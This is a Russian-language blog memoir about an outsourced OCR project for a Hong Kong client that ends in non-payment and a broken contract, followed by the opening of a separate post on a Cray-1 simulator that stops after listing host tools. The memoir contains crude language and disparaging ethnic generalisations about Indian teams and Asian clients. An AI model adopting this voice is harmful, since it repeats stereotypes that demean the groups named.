— Томас много о вас рассказывал, очень впечатлился вашей работой..

— ..но мне все же хотелось встретиться лично. Понимаете, я старый человек и привык видеть людей с которыми веду дела.

Мистер Лу взял со стола копию нашего договора, пролистав до страницы с оценкой бюджета.

— То что вы просите, это большие деньги. Серьезная сделка.

Мы с партнером переглянулись.

— Вообще-то Томас утверждал, что уже согласовал бюджет с вами.

Конечно ситуация была не нова — с увеличением цены, уровень п#здобольства посредников растет в геометрической прогрессии и фразу «тут решаю я» вы услышите еще не раз.

Пока не дойдете до финального босса.

Но в случае с Ченгами, мы действительно убили много времени на подготовку и не очень обрадовались перспективе повторить этот процесс.

— Ну он что-то такое рассказывал, да. Но поймите, я старый человек..

— Мистер Лу, если считаете, что для вас это слишком дорого — можем сделать переоценку проекта. Какие-то из задач уберем. Но это займет время и сроки начала работ сдвинутся.

Ченг-старший нахмурился, легкий намек на финансовую несостоятельность его явно огорчил.

— Расскажите за что я плачу.

Лу Ченг указал пальцем на договор.

— В чем суть всего этого?

Ну что мои дорогие «просто программисты», как там поживает ваша усталость от общения с «непонимающими идиотами»?

Попробуйте объяснить китайскому дедушке, привыкшему вести дела только ручкой и бумагой, на что пойдут его деньги, выделяемые под ИТ-проект — быстро поймете, что такое настоящая проблема.

Но нам все же удалось.

Несколько долгих часов спустя, мы покинули офис мистера Ченга, унося с собой подписанный договор на полмиллиона долларов.

Еще немного Гонконга.

Предстартовая подготовка

Если вы что-то понимаете в заказной разработке как бизнесе, думаю прекрасно понимаете, что должно происходить в таких случаях:

команду немедленно усиливают, либо нанимая в штат, либо подключая разработчиков из соседних компаний.

Потому как не бывает свободных команд, сидящих «на низком старте» в ожидании проекта.

Точнее бывает, но очень недолго и лишь у самых крупных компаний:

ЕПАМ, Люксофт, Accenture — такого масштаба.

Всем остальным при любом более-менее серьезном проекте, приходится либо быстро нанимать с улицы, либо звать на помощь коллег.

Прикинув график выплат за закрытие этапов работ и серьезно подумав, решили справляться своими силами, подключив лишь аналитика и тестировщиков.

Что в дальнейшем только продлило агонию, создав иллюзию, что ресурсов хватит и успех еще достижим.

Замечу, что финансовое планирование — крайне занимательное занятие, которое быстро дает понять, что ничем кроме наркоторговли, нефти и проституции заниматься вообще не стоит, ввиду невыгодности.

Можете обчитаться умными книгами по работе с клиентами, планированию, ведению проектов и оценке рисков — в реальности все сведется к 5% марже, кредитам и ипотеке. В хороший год.

Центр Сингапура. И сингапурцы.

Тучи сгущаются

Чтобы получить нечто большее чем кредиты и ипотека, приходится ~~ходить в набеги~~ идти на серьезный риск. И принимать всю ответственность за возможный провал — сообщаю на случай, если не понимаете, зачем было во все это лезть.

— Привет, есть минутка? Надо обсудить по проекту.

Наш любимый аналитик, назовем ее Верочкой, выручала нас бессчетное количество раз.

Один из тех редких случаев, когда человек действительно оказался на своем месте, попав в аналитики не по ~~залету~~ воле случая, а целенаправленно — сначала обучившись, а затем много лет работая по профилю.

Мнению Верочки мы действительно доверяли и только ее ребята всегда искренне поздравляли со всеми праздниками.

— Посмотрела наконец все документы, ну.. выборочно. Но всех нужных нам типов и форм, по всем биржам.

— Думаю у нас проблема.

Разумеется мы не #бнулись до такой степени, чтобы подписывать крупный контракт, не изучив возможные риски. Поэтому еще до выноса мозга в кабинете «дедушки Лу» прекрасно понимали, что будет непросто.

Но нельзя проверить абсолютно все, особенно на крупном проекте.

Всегда остается шанс упустить что-то важное.

— Слишком много вариаций.

— Вот смотри, форма «23-B». В разные годы (требовалось обрабатывать документы минимум за 5 лет) формат немного отличается. Нашла три варианта, которые точно придется учитывать по всем компаниям на этой бирже.

— Часть форм заполнена от руки, затем отсканирована. Таких к счастью мало. Теперь самое печальное:

есть три биржи, где все документы на национальных языках.

Типа такого:

Видите круглую красную печать справа? Это печать на бумажном оригинале, временами ее лепили прямо по центру, поверх текста.

— Тут есть дублирование на английском, сможем привязаться к английскому тексту. С вьетнамским будут проблемы, но тексты на национальных языках нам и не нужны, только цифры.

— Да, но таких документов очень много.. в разных вариациях, с рукописным заполнением..

— Бюджет тоже немаленький, справимся.

Вскоре состоялся созвон с представителем заказчика — Катрин, предвестницей апокалипсиса.

— Катрин привет!

— Тут у нас непредвиденные трудности, хотим немного поменять план работ, передвинуть пару этапов. Нет, ничего не случилось, небольшие технические нюансы, нет смысла беспокоить Томаса.

Мы всего лишь хотели переставить местами этапы:

сначала закончить работу с биржами, где были документы без национальных языков и рукописного заполнения.

Проблемные закрыть позже, с помощью интерфейса оператора, где живой человек мог бы корректировать результаты обработки для сложных случаев.

Все просто, красиво и логично.

У нас были хорошие отношения с обоими Ченгами, у партнера — адюльтер с Катрин, формального представителя компании-заказчика.

И абсолютно ничего не предвещало беды.

Снова улицы Гонконга.

Стремительное падение

Чужие тайны — всегда про плохое, поскольку люди скрывают только разнообразные мерзости.

Нет смысла утаивать занятия спортом, фотографирование котиков или помощь сиротам. Зато половые девиации, алкотрипы, увлечение веществами, воровство и прочий криминал — всегда заметаются под ковер.

Давно осознав эту простую истину, мы не интересовались происходящим на стороне клиента, стараясь не лезть во внутренние дела.

С Катрин было что-то явно не так, недомолвки и пропадания по нескольку дней случались с ней и Томасом регулярно. Как и непонятные для нас кадровые перестановки — что-то происходило в компании Ченгов.

Стоило применить свои «особые таланты» и выяснить-таки положение дел? Может быть.

Но «задним умом все крепки» и обсуждать, как следовало поступить ~~маршалу Жукову~~ ныне можно бесконечно.

Сначала начались задержки по оплате.

«Забыли перевести», «абонент недоступен», «я перезвоню», «извините, завтра» и непрочитанные сообщения — думаю это видели все.

Как только доходит до проблем с оплатой — все ведут себя одинаково, вне зависимости от размера долга, возраста, происхождения или социального положения.

С радостью и улыбкой платят только шлюхам и жуликам, всем остальным долги приходится в том или ином виде выбивать. Задумайтесь о смене деятельности если вас это огорчает.

После задержек с оплатой пришли и первые претензии.

Облачная история

— Алекс, мне неприятно это говорить, но вы не справляетесь.

Вообще-то я приехал к Томасу для прояснения финансовых вопросов — за Ченгами накопился долг.

— Печально такое слышать, приношу искренние извинения если качество работ не устроило. Что именно вызвало сомнения?

На самом деле мы успели закрыть этап с пятью первыми биржами без особых нареканий. Плюс успешный пилот.

Единственное, что на тот момент шло не по плану это очередность этапов.

— Неважно.

Считывать эмоции по лицу азиата весьма непросто, но поза и жесты его выдавали. Томас нервничал.

— Был проведен аудит проекта, позвал своего знакомого «эксперта по компьютерам». Учились вместе.

— Очень умный парень, делает стартап в Долине.

— Эксперт сказал, что все плохо, потому что у вас Java

— И я ему верю.

Когда в следующий раз начнете возмущаться на тему сертификации и подтверждения компетенций — вспомните этот эпизод.

Таких «экспертов», утверждающих что «все плохо» на моей практике был не один десяток и каждый раз их советы имели разрушительный эффект.

— А можно получить заключение этого.. «эксперта»?

— Ну.. он же наверное оставил документ или электронное письмо с описанием наших ~~грехов~~ проблем? Мы были бы очень благодарны и смогли что-то поправить в проекте.

Томас посмотрел на меня долгим взглядом человека, узревшего истину.

— Нет, он просто немного полистал код и рассказал свое видение.

Замечу, что это произнес отлично образованный молодой бизнесмен в дорогом костюме, CEO собственной компании.

Не безработный шизоид из интернета.

— Это уже неважно, тебя пригласили по другому поводу.

— Есть новая задача.

Томас протянул распечатку презентации из PowerPoint, которую я из уважения начал листать.

— Компания становится облачной, мы заключили партнерское соглашение с облачным провайдером и переносим всю инфраструктуру в облака.

Ну хоть не сразу на Марс.

Облачный провайдер оказался тем самым, очень известным, в котором работали Боб и Майк — дружелюбные бриты, обещавшие нам ~~минет~~ помощь и поддержку у дверей кабинета Лу Ченга, папы Томаса.

Совпадение, не иначе.

— Забудем о мелочах и недочетах. Хотя мне и кажется теперь, что вы недостаточно опытны для такого проекта.

— Даю второй шанс.

Если вы, дорогой читатель — лишь простой разработчик и не имеете отношения к руководству, попробуйте за время чтения этой статьи посчитать, сколько раз вы бы послали нах#й всех этих замечательных людей.

На какое количество оскорблений в лицо вас бы хватило.

— Проект надо перенести в облако, целиком. До конца года.

— Томас, при всем уважении..

— Увеличиваю бюджет, $200к сверху. Не надо торговаться и выносить мозг деталями. Просто сделайте.

— Или валите нахер.

Это сейчас, спустя десять лет практики и регулярного участия в подобных переговорах, вряд ли получится меня впечатлить условиями или напугать последствиями.

Даже если переговоры будут на частной яхте, с парой фотомоделей под боком и винтажным Domaine du Comte Liger-Belair в бокале — ответ будет стандартным:

обсудим с нашими специалистами, оценим работы, вышлем план

Но опыт не появляется на пустом месте, как вы понимаете.

Помните эту знаменитую сцену из х\ф Swordfish? Рассказываю, чем такое заканчивается в реальности.

Голодная зима

— Ну и что теперь со всем этим делать?

Столь интересные новости стоило обсудить со своим партнером по «опасному бизнесу», что я и сделал, едва закончив общение с Ченгом-младшим.

— Как там было у классиков? «Есть два стула»..

— Давай серьезно. Клиент увеличивает бюджет, это хорошо.

— Клиент немного недоволен, хотя пока и непонятно чем.

— Это плохо.

— За Клиентом висит долг, не очень большой.

— Это плохо.

— Сумма долга для клиента равнозначна посещению борделя с вином и бл#дьми. Или сезонному обновлению гардероба.

— Это хорошо.

— Типа «минус на минус дает плюс»?

Мы все же решились продолжать.

Помимо ~~сказочного~~ серьезного бюджета, такой проект будучи реализованным и запущенным, позволил бы набрать компетенции в узкой области работы с биржами и первичными документами.

И следующий десяток лет мы бы спокойно жили с доработок и сопровождения.

В этом был главный смысл.

Какую-то часть оплаты мы успели получить, но этого никак не хватало для завершения работ.

Пришло время оплачивать разработку из своего кармана.

Когда с вашего личного счета впервые списывается сумма для оплаты месячного труда команды разработки — приходит осознание бренности бытия.

А идея устроить месячный загул, сняв бордель целиком и выкупив ближайшую винную лавку уже не кажется столь неразумной.

Смысл термина «burn rate», часто употребляемого в стартап-тусовке не будет понятен, пока «сжигаемые деньги» не окажутся вашими собственными.

Вы будете ходить на работу, устраивать совещания, закупать расходники для офиса, поздравлять с юбилеями, оплачивать выходные и больничные.

А где-то за кадром будут гореть ваши собственные, с таким трудом заработанные капиталы.

Выдерживают такое очень далеко не все, поэтому не всем стоит заниматься бизнесом.

Чтобы там ни утверждали разнообразные интернет-коучи, обычная офисная работа с 9 до 5 за зарплату — не самый плохой вариант.

Точно лучше, чем оказаться в дурке к 40 годам, могиле или рехабе из-за непрерывного стресса и перенапряжения.

Шли дни, затем недели.

С горем пополам, мы перенесли-таки всю обработку документов в облако. Там же — в облаке теперь работал и весь бекэнд с API для мобильных приложений. И даже панель администратора.

Все как заказывал Томас.

Фактически, было выполнено 2/3 работы и впереди просматривалась финишная черта.

К сожалению Ченг-младший по всей видимости утратил интерес к проекту, наши отношения с последней встречи успели охладеть и всеми текущими вопросами теперь занималась Катрин.

Их с Павлом «производственный роман» также сошел на нет, но обошлось без ~~мордобоя~~ разбитой посуды и взаимных оскорблений — все же взрослые люди.

Еще у нас заканчивались запасы денег, теперь уже наших собственных.

Надо было срочно что-то решать, поскольку проект высасывал ресурсы как пылесос, а завершить на свои уже не получалось.

— Катрин приветствую. Прошу назначить встречу с Томасом. По поводу финансирования, все верно.

— Предстоит непростой разговор.

Вид на ночной Гонконг.

Стопроцентное распознавание

Заранее пройдя все досмотры, я сидел в зоне вылета Шереметьево, в ожидании посадки на рейс до Гонконга. «Ирландский кофе», придуманный специально для таких ситуаций почему-то никак не бодрил.

— А теперь к событиям в мире..

— ..Вчера вечером полицией был задержан известный гонконгский бизнесмен, владелец нескольких компаний в сфере высоких технологий..

В баре работал телевизор и диктор новостей только что перевыполнил план по бодрости, подвинув даже ирландский кофе.

Посмотрев на посадочный талон, я крепко задумался — может стоит сдать?

Перспектива застрять в Гонконге на неопределенный срок, давая показания местной полиции откровенно не радовала.

— ..предъявлены обвинения в мошенничестве, сговоре, обмане инвесторов и незаконной торговле криптовалютами..

Несмотря на хреновое качество изображения, снятое с камеры наблюдения и закрытое черной плашкой лицо, было очевидно что это не Ченг.

Ни старший, ни младший.

— ..Гонконг, ставший в последние годы Меккой для криптоинвесторов со всего мира, ужесточает контроль и вводит новые ограничения в торговле криптовалютами..

Дела надо доводить до конца, так что я допил свой ирландский кофе, взял посадочный и отправился к выходу.

Гонконг встретил проливным дождем.

Хотя этот знаменитый город и расположен сильно дальше от экватора чем Сингапур, проливные дожди тут тоже регулярно бывают.

Но дождь хотя бы не льет месяцами, загоняя всех жителей под навесы и в торговые центры.

Из аэропорта Гонконга в город идет отдельная ветка метро, по которой я рассчитывал добраться до офиса компании Ченга-младшего в тот же день.

Поскольку это была не первая наша встреча и даже не вторая, а где-то ближе к десятой — никакого смысла в оттягивании сложного разговора не было.

Вряд ли бы Томас удивился моему помятому после многочасового перелета виду, отсутствию делового костюма или щетине.

Его папа — другое дело, но встречаться с Ченгом-старшим в мои планы не входило.

Мне отказали.

Вежливо разумеется, с извинениями. Позвонил секретарь Катрин и попросил перенести встречу на следующий день. На утро.

Секретарь?

Совсем недавно Катрин сама выполняла роль секретарши, бегая по этажам офиса в поисках кофе для Томаса и его гостей.

Что это? Внезапное повышение?

Еще замечу для тех кто не знает, утренние встречи — всегда про плохое:

увольнения, сокращения, разрыв отношений, отказ от сотрудничества, налоговые проверки..

Все эти занимательные мероприятия стараются проводить утром.

Утром следующего дня, побритый, помытый и в деловом костюме я поднимался на лифте к офису Томаса Ченга.

..две «беретты» с расширенным магазином, скрытые в кобурах под плащом, кольт за поясом и старый добрый нож-бабочка — первая школьная любовь, греющий руку, возвещали о серьезности его намерений..

Шучу конечно.

Хотя шальная мысль «просто пристрелить» и привлекала своей детской простотой, взыскивать долги с мертвецов пока еще не научились.

Как только доходит до денег — приходится договариваться, причем обязательно с живым человеком. Также как и сотню лет назад.

Спрашиваете, откуда взялся деловой костюм и забота о внешнем виде?

Ну просто я уже догадывался к чему все идет. И для такого п#здореза лучше быть при полном параде.

В офисе Ченга были серьезные изменения.

Со стен сняли картины, часть мебели отсутствовала, кругом стояли большие коробки — явно шла подготовка к переезду.

Или закрытию?

В любом случае Катрин ни о чем таком не предупреждала.

На рецепшне никого не оказалось, так что я отправился прямиком к кабинету Томаса, благо маршрут был давно изучен.

Проходя мимо пустых рабочих мест, выключенных и частично упакованных компьютеров, оставалось лишь мрачно гадать, что бл#ть все это означает.

В кабинете Томаса, полагаю теперь уже бывшем, за его рабочим столом сидела Катрин.

Судя по виду — в не очень хорошем настроении.

— Доброе утро, ты не предупреждала, что вы переезжаете.

— А где Томас?

— Присаживайся Александр, Томаса не будет.

Катрин впервые назвала меня полным именем, не Алексом.

Французы — единственные из европейцев, которым без особого труда удавалось выговорить мое полное имя. Но даже они старались по-умолчанию использовать сокращенный вариант.

С чего вдруг такая серьезность?

И где блин Томас?

Катрин при всех ее талантах, была лишь сотрудником на зарплате и не принимала ключевых решений. Без Томаса эта встреча не имела смысла. Но коль приехал — надо было доигрывать до конца.

Все равно вечером на#бенюсь.

— Ладно, полагаю мое письмо ты видела.

Перед Катрин на столе лежала папка с документами, которую она протянула мне.

— Ознакомьтесь, Александр. Как закончите — поговорим.

— Я подожду.

«Анализ и экспертная оценка проекта NOVA», значилось на обложке первого документа.

NOVA — внутреннее название нашего проекта. Томас оказался большим фанатом Half-Life, отсюда и название.

В качестве автора была указана одна известная ИТ-компания, я даже не знал что они предоставляют подобные услуги.

Интересно сколько все это стоило.

Документ оказался весьма объемным, с кучей технических деталей, сносок, цитат, примеров кода и так далее — серьезная работа.

Тратить время на его изучение посреди переговоров было неразумно.

— Катрин, при всем уважении, не очень понимаю что тут происходит. Но конечно рад, что вы провели аудит, причем повторный.

Я помахал папкой в воздухе.

— Такого рода «заключения» надо было отправлять заранее, дав возможность ознакомиться специалистам и подготовить ответ.

— Если ожидаешь от меня каких-то быстрых решений и немедленных выводов — извини, их не будет.

— Еще мы планировали встречу с Томасом Ченгом, CEO вашей компании. Я прилетел из другой страны ради встречи с ним. Чтобы обсудить важные вопросы, решения по которым может принять только он.

— Катрин, ты лишь его сотрудник, c ограниченными полномочиями. Без обид.

Катрин все это время сверлившая меня недобрым взглядом, внезапно рассмеялась.

— Александр, я не работаю на Томаса.

— Ченги — большая семья со столетней историей. Ты же не думал, будто Томас и дедушка Лу — единственные ее представители?

— У семьи есть свой инвестиционный фонд, даже доля в компании, которая проводила этот аудит.

— Я работаю на семью Ченгов, не на Томаса лично.

Оказалось, мое понимание этой непростой ситуации сильно расходилось с реальностью. Но выяснять, зачем нужен был весь этот #банутый маскарад, не было ни малейшего желания.

— Тем не менее у нас подписан договор с компанией Томаса, на договоре стоит подпись и реквизиты.

Катрин это не смутило.

— Александр, у меня есть необходимые полномочия. Это все что тебе надо знать.— Открой, пожалуйста, следующий документ.

Я вернулся к папке и вытащил еще одну бумагу. «Шкатулка Пандоры», не иначе.

— Исковое заявление? Серьезно? Собираетесь подавать на нас в суд?

— Пока еще досудебное урегулирование.

— Катрин, ваша компания имеет серьезную задолженность по оплате, из-за чего ваш проект подвис в воздухе. Последние месяцы мы оплачивали разработку из своих средств, которых не хватит для завершения работ.

— Если помнишь, я прилетел сюда чтобы договориться с Томасом о частичной оплате. Иначе придется увольнять людей.

— Очень жаль, пусть пришлют резюме. Возможно некоторых сможем нанять к себе в штат.

Чтобы вы понимали, примерно в таком ключе заканчиваются любые намеки на бедственное положение и необходимость немедленной оплаты.

«Директора на мороз, команду к себе в штат» — так в нулевые происходило укрупнение большинства отечественных ИТ-компаний.

На случай, если вы планировали «разжалобить» заказчика при кассовом разрыве или каких-то непредвиденных ситуациях.

— Не понимаю. У вас не было претензий пока шла разработка, мы даже по срокам укладывались.

— Что все-таки пошло не так?

— Пошло не так то, что вы, Александр и ваша команда — не справились.

— Выбирали неправильные технологии, например медленную Java.

(это было сказано абсолютно серьезно)

— ..не использовали стандартные методологии для управления нашим проектом, вместо известных и надежных средств разработки, использовали как-то самопал. (видимо про наш Пастер, который мы тогда применяли).

— ..вместо надежных и коммерчески успешных средств распознавания текста, вы взяли какую-то страшную, устаревшую библиотеку из 90х.

(это она про Tesseract).

Слушать эту чушь дальше не было никакого желания. Чушь остается чушью даже на фирменной бумаге и с десятком крутых подписей.

— Ээ Катрин..

— Я еще не закончила.

— Своими неверными действиями и ошибочными решениями, вы, Александр, критически ухудшили качество разрабатываемой системы.

— Не обеспечив стопроцентного распознавания документов.

Для свободных от оков технического образования стоит пояснить:

при работе с OCR не бывает ста процентов распознавания, поскольку в сам алгоритм работы заложена определенная ошибочность.

«Распознавание» это угадывание или даже гадание, временами на кофейной гуще.

Катрин тем временем продолжила убивать мою веру в людей.

— Семья Ченгов очень старая и уважаемая, достойна только самого лучшего. Мы платим за самое лучшее, за сто процентов.

— Не за 93, 95 или 70, которыми вы с Павлом по какой-то причине так сильно гордились, а только за сто.

Я пригляделся — зрачки не расширены, озноба нет, речь спокойная и уверенная. Увлечения веществами за Катрин замечено не было, но говорят шизофрения подкрадывается незаметно.

— Катрин, а откуда взялось.. столь глубокое понимание в вопросах разработки? Мы не согласовывали конкретные технологии и инструменты, когда подписывали договор с Томасом..

— ..вопросы методологий и ведения проектной работы — вообще наше внутреннее дело, точно не предмет обсуждения.

Тут я задумался.

Все время пока шла разработка и обкатка технологий распознавания, Картин была погружена в технические нюансы проекта.

Она казалась нам умной и компетентной, особенно по сравнению с Томасом, поэтому мы не скрывали от нее «внутреннюю кухню» — технические моменты, коих было немало.

Чудес нет и многое действительно получалось далеко не с первой попытки.

Были проблемы с обработкой PDF, с массовым скачиванием документов, была куча сложных нюансов с алгоритмами OCR.

Как оказалось, Катрин все это аккуратно записывала, составляла отчеты и затем доводила до своего руководства, о котором мы даже не догадывались.

Хорошо что я не стал брать Павла на встречу — такая подстава от любимой женщины, пусть и бывшей, точно выбила бы его из колеи.

Причем надолго.

Но я еще не сдался окончательно, стоило сделать еще одну, последнюю попытку.

— В техническом задании — в приложении к подписанному с вами договору, есть пункт про процент отбраковки. Мы предупреждали, что распознать все не получится.

— Этот договор?

Достав из ящика стола наш подписанный договор, Катрин аккуратно разогнула скрепку, а затем.. порвала его пополам.

Несколько раз.

— Достаточно доходчиво? Или нужны пояснения?

— Тут чек на десять тысяч долларов, в качестве жеста доброй воли.

Катрин протянула мне запечатанный конверт.

— С этого момента договор с нашей компанией считается недействительным, мы прекращаем сотрудничество.

Когда я уже был в дверях, собираясь покинуть офис, Катрин внезапно окликнула, видимо желая добить.

— Александр, совет на будущее.

— Вы с Павлом слишком много о себе возомнили.

— Ваш опыт и знания не уникальны, есть более грамотные. Всегда есть.

— Мы нашли новых исполнителей, они гарантируют стопроцентное распознавание документов.

Я взглянул на Катрин — женщину средних лет, не глупую, ~~не угашенную в хлам~~, с хорошим образованием и успешной карьерой, явно не испытывающую никаких финансовых затруднений и проблем в жизни.

Посмотрел в ее глубокие голубые глаза.. и не нашел что ответить.

Видите корабли вдали? Это все танкеры с нефтью, так местные играют с курсовой разницей.

Тотальный разгром

Это было фиаско.

Потери от этого проекта были сопоставимы со стоимостью пары квартир в Москве. Мы потеряли команду, людей действительно пришлось увольнять.

Какое-то время спустя, не выдержав тяжелых испытаний, вышел из бизнеса и мой тогдашний партнер.

Окончательно расплатиться с долгами удалось только через три года, но это был принципиальный вопрос.

Чернышевы и Ланнистеры всегда платят по своим счетам.

Несколько лет спустя, я сидел в маленькой кофейне на одной из гонконгских набережных, в ожидании встречи с одним из участников тех событий.

Который смог бы прояснить для меня пару вопросов.

— Эрик привет!

— Сколько лет прошло. Смотрю, ты постарел.

На самом деле Эрик в те годы был интерном в компании Томаса и учился в университете. Парню было лет 20, не больше.

Так что постарел скорее я сам, а Эрик — расцвел.

Ченг-младший привлек его помогать математику с расчетами. Потом Эрик активно участвовал в эксплуатации нашей системы с распознаванием и даже сам писал DSL-скрипты.

Умный малый.

— Алекс! Рад встрече! Не знал что ты в Гонконге. Надолго кстати?

— Да я так, проездом в ваших краях.

— Получается, на Ченгов ты больше не работаешь?

— Нет. Вернулся в университет, решил продолжить обучение. Наука мне ближе, хочу когда-нибудь стать PhD.

— Достойное занятие.

— Так расскажи, чем все в итоге закончилось. Проект жив?

Эрик рассказал.

В общих чертах я уже представлял, что тогда произошло в бывшем кабинете Томаса, Эрик лишь добавил новых деталей.

Ченгу-младшему все-таки снесло крышу от роскошной жизни:

вещества, бл#ди, азартные игры или алкоголь, а скорее все вместе — привели к тому, что Томас стал подворовывать из компании.

Это заметили и довольно быстро его ~~наказали~~ отстранили, по слухам отправив на лечение в частную клинику.

Было запущено внутреннее расследование, из-за которого счета компании оказались заморожены. И начался тот самый внешний аудит.

Хотя саму компанию не закрыли — те коробки и упакованные компьютеры в офисе, которые я наблюдал в последний визит, действительно оказались переездом в другое здание.

Расследование внезапно выявило грешки еще и Ченга-старшего, который на поверку оказался далеко не таким крутым.

«Дедушка Лу» прекрасно знал о проблемах сына, но покрывал его перед семьей как только мог. На чем в итоге и погорел.

Наша «подруга с сюрпризом» — Катрин тоже чуть не попала под раздачу, проморгав залет Томаса, хотя была поставлена за ним присматривать.

Вот такие зигзаги судьбы.

— Так что вам просто не повезло. Вы, ребята, оказались не в том месте и очень не вовремя. Жаль что все так закончилось.

— Сам проект был отличный.

«Отличный проект», ага.

И ведь не объяснишь, каково было увольнять сотрудников и затем годами расплачиваться с кредиторами.

Для Эрика это действительно был отличный проект.

— Катрин еще что-то говорила о новых исполнителях — с ними хоть получилось?

Эрик рассмеялся.

— Получилось, ага. В некотором смысле.

— Это причина по которой ее понизили до службы охраны, выкинув из правления. Наняла каких-то индусов, те ей наобещали..

— ..чуть ли не космолет построить.

— А когда стали поджимать сроки, индусы пропали.

Это меня не сильно удивило, поскольку уже был опыт работы с индийскими командами — разгребал за ними последствия.

— А как вышло, что Томас внезапно решил переносить все в облако? Еще и прямо посреди разработки?

— Да это все Лу, старый маразматик.

— Привел каких-то типов, работавших на ту известную облачную компанию. Познакомил с Томасом.

Видимо Боб и Майк, неужели они так везде и ходили парой?

— Эти двое, «облачные парни» каким-то образом прознали о нашем проекте, подготовились и убедили Томаса на переезд к ним.

Действительно, кто бы мог им рассказать..

— Они провели презентацию, рассказав как у нас «все плохо и криво», наобещали светлого будущего и выдали бесплатный период в облаке.

— Про биллинг на основе вычислительных ресурсов, никто из этих замечательных парней полагаю не вспоминал?

Даже десяток запущенных процессов с OCR заметно нагружали процессор, а был ведь еще и неслабый сетевой трафик. И хранилище документов.

Будучи перенесенным в облако и без льготного периода, все это должно было обходиться в круглую сумму.

Эрик лишь усмехнулся.

— Недавно в нашем университете отказались от их услуг, слишком дорого.

Хотя сам Эрик ушел из компании через год после описываемых событий и не мог знать чем все закончилось, я все же выяснил судьбу проекта.

«Особые умения», ага.

Компанию Томаса, вместе со всеми наработками, продали новому владельцу

Новый владелец оказался более адекватным, чем семья Ченгов.

Поэтому они быстро перешли на платные выгрузки с бирж, похоронив все что касалось OCR и обработки документов — большую часть нашей работы.

Но сам проект существует до сих пор, хотя и под другим названием.

Конец инженера

— ..наш уникальный сервис на базе искусственного интеллекта обеспечивает наилучшее распознавание любых документов.

— Настоящее чудо 21 века!

— Давайте покажу ВАМ как это работает..

- ~~Слышь пес~~ Можете продемонстрировать работу вот на этом PDF-документе? Будет очень интересно увидеть реальный прогресс.

В качестве артефактов с того проекта, осталось несколько особо проблемных PDF, которыми я теперь вгоняю в краску любителей «читать PDF с помощью ИИ».

Десять лет спустя, «в век ИИ» ~~и боевых роботов~~ почему-то никто так и не показал того самого стопроцентного распознавания.

Как же так?

Эпилог

— Джеймс, вы столько всего повидали, фактически лично участвовали в рождении всей ИТ-отрасли. Расскажите «неофиту», сколько все-таки должна стоить нормальная ИТ-система?

В далеком 2014м у меня случилась занимательная переписка с поистине уникальным человеком, принимавшем участие аж в создании ARPANET — предке современного интернета.

Дедушке уже тогда было далеко за 80, но бодрость духа и ясность мысли он не утратил.

Видимо поэтому имел должность «Vice President» в одной очень известной компании.

Мой вопрос его изрядно повеселил.

— Ну скажем.. миллион долларов.

— Разработка по всем правилам, с проработкой архитектуры, с документированием, с нормальной командой стоила в 70х около миллиона долларов.

— Столько же это стоило и в 80х и 90х, столько стоит и сейчас.

— Несмотря на новые технологии, прогресс и развитие, ничего по сути не изменилось.

Это написал человек, всю карьеру не вылезавший из сложнейших проектов по разработке ИТ-систем.

IBM, DEC, HP, Microsoft — все эти мировые компании развивались или даже появились при его жизни.

Мы не были связаны какими-либо обязательствами, поэтому у почтенного мистера Джеймса не было причин ~~врать~~ приукрашивать реалии.

Миллион долларов за разработку нормальной ИТ-системы.

По мнению настоящего ветерана ИТ-индустрии с уникальным ~~боевым~~ опытом, который такие системы создавал дольше чем живет на свете большинство из читателей.

И у меня нет причин с этим не соглашаться.

2003й год, студенческие годы

Cray: оживление легенды

2026-02-20T12:37:48.315Z

В ИТ-индустрии существуют вещи, само существование которых давно стало красивым мифом, о котором принято вспоминать лишь шепотом и закатывая глаза от благоговения.

Настоящий Cray.

Cray

На сегодняшний день, во всем мире осталось наверное не больше пары сотен инженеров, заставших «те времена» и имевших возможность прикоснуться к легенде.

Лишь единицы из них еще могут что-то рассказать.

То что описано в этой статье — редчайшее знание, которое совсем недавно было доступно горстке избранных, с ученой степенью, специальной подготовкой и допусками к такому оборудованию.

Огромное, древнее чудовище из далекого прошлого, из времен мифов и легенд ожило и вернулось к жизни.. руками фанатов.

Дав возможность и простым людям прикоснуться к легенде.

Seymour Cray на фоне собственного суперкомпьютера.

Легенда

Персона Сеймура Крэя навсегда останется в анналах истории компьютеров, поскольку созданные его руками машины неоднократно признавались самыми быстрыми на планете.

Создаваемые полностью вручную (некоторые модели — вплоть до чипов) и имевшие цену в десятки миллионов долларов, суперкомпьютеры Cray поставлялись в исследовательские лаборатории, крупные датацентры и конечно же в разведывательные управления разных стран.

Про последнее стоит рассказать подробнее:

суперкопьютеры Cray всю историю плотно ассоциировались именно с секретными проектами, поскольку действительно часто использовались для взлома секретных кодов, паролей и шифров.

Что характерно, сам Крэй начинал карьеру во флоте (US NAVY) и работал над взломом японских шифров времен второй мировой войны, по всей видимости сохранив с тех лет хорошие отношения с главным разведывательным управлением.

У вас же, дорогой читатель шанс увидеть суперкомпьютер Cray был лишь в кино, где они довольно часто мелькали в качестве реквизита:

Ни о работе с такими машинами, ни тем более о разработке под них простым обывателям не стоило даже мечтать, даже если они родились и выросли в США.

Допуски, специальное обучение с сертификацией и чаще всего наличие PhD — вот что обычно требовалось от «пользователей» подобного оборудования.

В Россию суперкомпьютеры Cray предсказуемо завозились с очень большими препонами и исключительно простые модели. В частности в Росгидромете была практика использования таких машин, начавшаяся еще в 90е.

Как бы то ни было, простому обывателю доступ к суперкомпьютерам Cray был заказан.

Я сам, несмотря на двадцать лет практики в разработке ПО, о них лишь слышал краем уха, да видел пару картинок в сети, вроде такой:

Производство суперкомпьютеров Cray-1

Тем удивительней оказывается история, рассказанная ниже.

Так выглядел случайно найденный бекап от суперкомпьютера.

Симулятор

История создания симулятора Cray за авторством Andras Tantos сама по себе достойна голливудской экранизации, поскольку являет собой победу инженерного духа над всеми преградами и трудностями:

So it’s settled. I’m building a Cray-1.

Крайне рекомендую ознакомиться со всей этой историей, поскольку по накалу повествования описываемые события сильно напоминают историю изучения египетского письма или попытки расшифровать немецкие шифры времен второй мировой.

Для примера, чтобы только прочитать данные со случайно обнаруженной ленты, автору пришлось реализовывать специальный драйвер для виртуального контроллера, полагаясь на такие картинки:

Затем пришлось вручную восстанавливать последовательность загрузки:

Разбираться с багами загрузчика и эмуляцией сети — не забываем что речь идет про суперкомпьютер, все основные части которого были связаны между собой по сети.

Andras провел чудовищную по объему и сложности работу, в успех которой к тому же никто особо не верил.

Именно поэтому результат его трудов настолько впечатляет.

Фронтальная панель суперкомпьютера Cray и индикаторы стадий запуска. Сверху кнопка включения.

Оживляем легенду

Симулятор использует внешние приложения для работы:

xterm, telnet, tmux

Все это необходимо установить на хосте до первого запуска симулятора.

